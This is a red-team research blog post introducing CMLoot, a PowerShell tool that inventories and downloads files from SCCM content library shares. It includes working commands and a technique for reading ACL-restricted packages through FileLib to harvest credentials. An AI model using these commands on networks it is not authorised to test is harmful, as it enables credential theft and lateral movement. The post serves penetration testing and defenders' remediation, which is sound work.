This post was originally published on WithSecure Labs:
https://labs.withsecure.com/publications/looting-microsoft-configuration-manager
Microsoft Endpoint Configuration Manager (CM), also known as System Center Configuration Manager (SCCM), is widely deployed by companies to manage their Windows environments. It enables simple enrollment of servers and workstations, distributing software and generic management of the Windows systems in the environment. Configuration Manager often contain information that could be used by an attacker to find new attack paths or credentials that allow lateral movement.
During client engagements we often come across CM network shares, and it is difficult to automate searching these shares for interesting information such as credentials stored in scripts. To try and remediate this some research was made into figuring out how the file structure was implemented, and a tool was created to make it easier to extract interesting information from these shares.
Distribution Point is the name of the CM service that distributes content to clients. Content can be accessed via SMB or HTTP(S). To find which CM Distribution Point is configured on a domain client or server the following registry key can be read (PowerShell):
PS> (Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\SMS\DP -Name ManagementPoints).ManagementPoints
By default, CM Distribution Points expose file shares containing operating system images, scripts, and software to be deployed using Software Center and Operating System Deployment (OSD). The default share is hidden and named SCCMContentLib$. The share is by default readable by all users and can contain sensitive information such as credentials in scripts or configuration files, certificates with private keys or other information that can give an attacker an advantage. To view all shares on a remote computer, the ’net view’ command can be used:
C:\> net view \\sccm /all
Shared resources at \\sccm
Share name Type Used as Comment
-------------------------------------------------------------------------------
AdminUIContentPayload Disk AdminUIContentPayload share for AdminUIContent Packages
EasySetupPayload Disk EasySetupPayload share for EasySetup Packages
SCCMContentLib$ Disk 'Configuration Manager' Content Library for site SC1 (5/21/2022)
SMS_CPSC$ Disk SMS Compressed Package Storage
SMS_DP$ Disk ConfigMgr Site Server DP share
SMS_OCM_DATACACHE Disk OCM inbox directory
SMS_SC1 Disk SMS Site SC1 06/02/22
SMS_SITE Disk SMS Site SC1 06/02/22
SMS_SUIAgent Disk SMS Software Update Installation Agent -- 06/02/22
SMSPKGC$ Disk SMS Site SC1 DP 5/21/2022
SMSSIG$ Disk SMS Site SC1 DP 5/21/2022
CM Content Library (SCCMContentLibrary$ share) have a special way of storing files which Microsoft has documented here: https://techcommunity.microsoft.com/t5/configuration-manager-archive/understanding-the-configuration-manager-content-library/ba-p/273349
The TLDR; is that the SCCMContentLib$\DataLib folder contains .INI files. The .INI files are named after the original filename with the extension .INI appended. The file contains a SHA256 hash of the original file, the file itself is stored in the directory SCCMContentLib$\FileLib in format of <folder name: 4 first chars of the hash><complete hash of the file as filename>.
To make the process of discovering content and downloading interesting files easier, the PowerShell script CMLoot was developed. CMLoot performs an inventory of all accessible .INI-files and stores them locally in a text file. The inventory is then used to search for interesting file extensions, select what files you want to download, and CMLoot will download the files and restore the original filename.
To create an inventory file, run Invoke-CMLootInventory:
PS> Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt
[*] Inventory created. Use Invoke-CMLootDownload -InventoryFile sccminv.txt to download files. See Get-Help Invoke-CMLootDownload for options.
The script will fetch all .INI files in the DataLib directory and put them in a text file that can be parsed manually or by CMLoot itself.
When the inventory has been created it is possible to fetch files in a number of different ways; single file, type of extension or by using GridSelect. A word of warning, GridSelect can use up RAM resources if big inventory files are opened.
Download a single file, by coping a line in the inventory text and run Invoke-CMLootDownload with -SingleFile option:
PS> Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml
Downloading \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml
Download all files with a certain file extension by using -Extension option:
PS> Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi
Downloading \\sccm\SCCMContentLib$\DataLib\Content_718bd807-8021-45ce-81d2-93800392b5cd.1\putty-64bit-0.76-installer.msi
Downloading \\sccm\SCCMContentLib$\DataLib\SC100004.2\i386\client.msi
Downloading \\sccm\SCCMContentLib$\DataLib\SC100004.2\i386\microsoftpolicyplatformsetup.msi
Already downloaded, skipping \\sccm\SCCMContentLib$\DataLib\SC100007.2\SMSSETUP\CLIENT\I386\CLIENT.MSI
[.....]
Files will by default download to CMLootOut in the folder from which you execute the script, can be changed with -OutFolder parameter. Files are saved in the format of <folder: file extension><first 4 chars of hash_original filename>.
Below is some of the things you should look for when examining a CM network share.
It is possible to set ACLs for packages in CM by using the function “Manage Access Accounts”. In the example below only users in the group sccm_secretapp should be able to access the application package “SecretApp”.
If a user that doesn’t belong to the group sccm_secretapp tries to access the folder where the .INI file for SecretApp resides, access is denied as expected.
But if the process is reversed and we instead turn to the FileLib containing the actual files, it is possible to access the file as any domain user. There is also a .INI file in the FileLib, which contains an identifier that points back to the content folder in DataLib.
Finding folders that have been locked down with an ACL may indicate that they contain interesting information. CMLoot-Inventory will detect when DataLib folders are inaccessible and store a reference to them in a separate text file (_noaccess.txt).
[*] Access to \\sccm\SCCMContentLib$\DataLib\Content_b9894972-28e8-40b8-9231-760e9e77d5cb.1 is denied, adding to sccminv_noaccess.txt
[*] Inaccessible DataLib content detected. Use Invoke-CMLootHunt -SCCMHost sccm -NoAccessFile sccminv_noaccess.txt to search for correlating files.
Cmdlet CMLoot-Hunt can then be used to hunt for the original files in the FileLib and download them.
PS> Invoke-CMLootHunt -SCCMHost sccm -NoAccessFile sccmfiles_noaccess.txt
[*] File \\sccm\SCCMContentLib$\FileLib\17C1\17C14D2964BEDD94F833BDE6F951576A48ABF2F8FABE5251FAB878C1E7CC9F90 match Content_b9894972-28e8-40b8-9231-760e9e77d5cb.1. Copying to outfolder.
CMLootHunt cannot determine the file extension for files copied from FileLib as it is not possible to access the DataLib folder where the original filename can be found, so the filename will be the SHA256 of the file.
To determine what type of file it is, the *nix ‘file’ command can be used.
user@wsl$ file CMLootOut/17C14D2964BEDD94F833BDE6F951576A48ABF2F8FABE5251FAB878C1E7CC9F90
CMLootOut/17C14D2964BEDD94F833BDE6F951576A48ABF2F8FABE5251FAB878C1E7CC9F90: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Create Time/Date: Mon Jun 21 08:00:00 1999, Name of Creating Application: Windows Installer, Security: 1, Code page: 1252, Template: Intel;1033, Number of Pages: 200, Revision Number: {34A3DB6C-B7FC-4530-B578-D894A8AA4605}, Title: Setup, Author: Secret Stuff AB, Number of Words: 2, Last Saved Time/Date: Fri Sep 2 08:19:55 2022, Last Printed: Fri Sep 2 08:19:55 2022
The file command issued on the example above shows that the file is a “Composite Document File V2 Document”…“Windows Installer”. So this file is probably an .MSI file.
.MSI files are installation packages for Windows that can be extracted with msiextract. CMLoot can perform single file or bulk extraction of MSI files by using Invoke-CMLootExtract cmdlet:
PS> Invoke-CMLootExtract -Path .\CMLootOut\msi
Processing C:\Temp\CMLoot-main\CMLootOut\msi\129D_putty-64bit-0.76-installer.msi...
Processing C:\Temp\CMLoot-main\CMLootOut\msi\2001_mp.msi...
Processing C:\Temp\CMLoot-main\CMLootOut\msi\210C_windowsfirewallconfigurationprovider.msi...
Processing C:\Temp\CMLoot-main\CMLootOut\msi\5081_mcs.msi...
[....]
Files will be extracted in subfolders of the path containing the .MSI files. When extraction is complete, it is possible to browse the contents of the .MSI file and find out if they contain any interesting information.
It is also possible to extract single .MSI files. As with the “Access control” example above, the file is extracted and credentials are found in the SecretApp.exe.config file.
PS> Invoke-CMLootExtract -Path .\CMLootOut\17C14D2964BEDD94F833BDE6F951576A48ABF2F8FABE5251FAB878C1E7CC9F90
Processing C:\Temp\CMLoot-main\CMLootOut\17C14D2964BEDD94F833BDE6F951576A48ABF2F8FABE5251FAB878C1E7CC9F90...
This tool and techniques have been used on several red team and penetration test engagements to find new credentials that allow for lateral movement and achieving target objectives.
Configuration Manager often contain information that could be used by an attacker to find new attack paths or credentials that allow lateral movement. Ensure that the CM environment does not contain sensitive information.
CMLoot can be downloaded here: https://github.com/1njected/CMLoot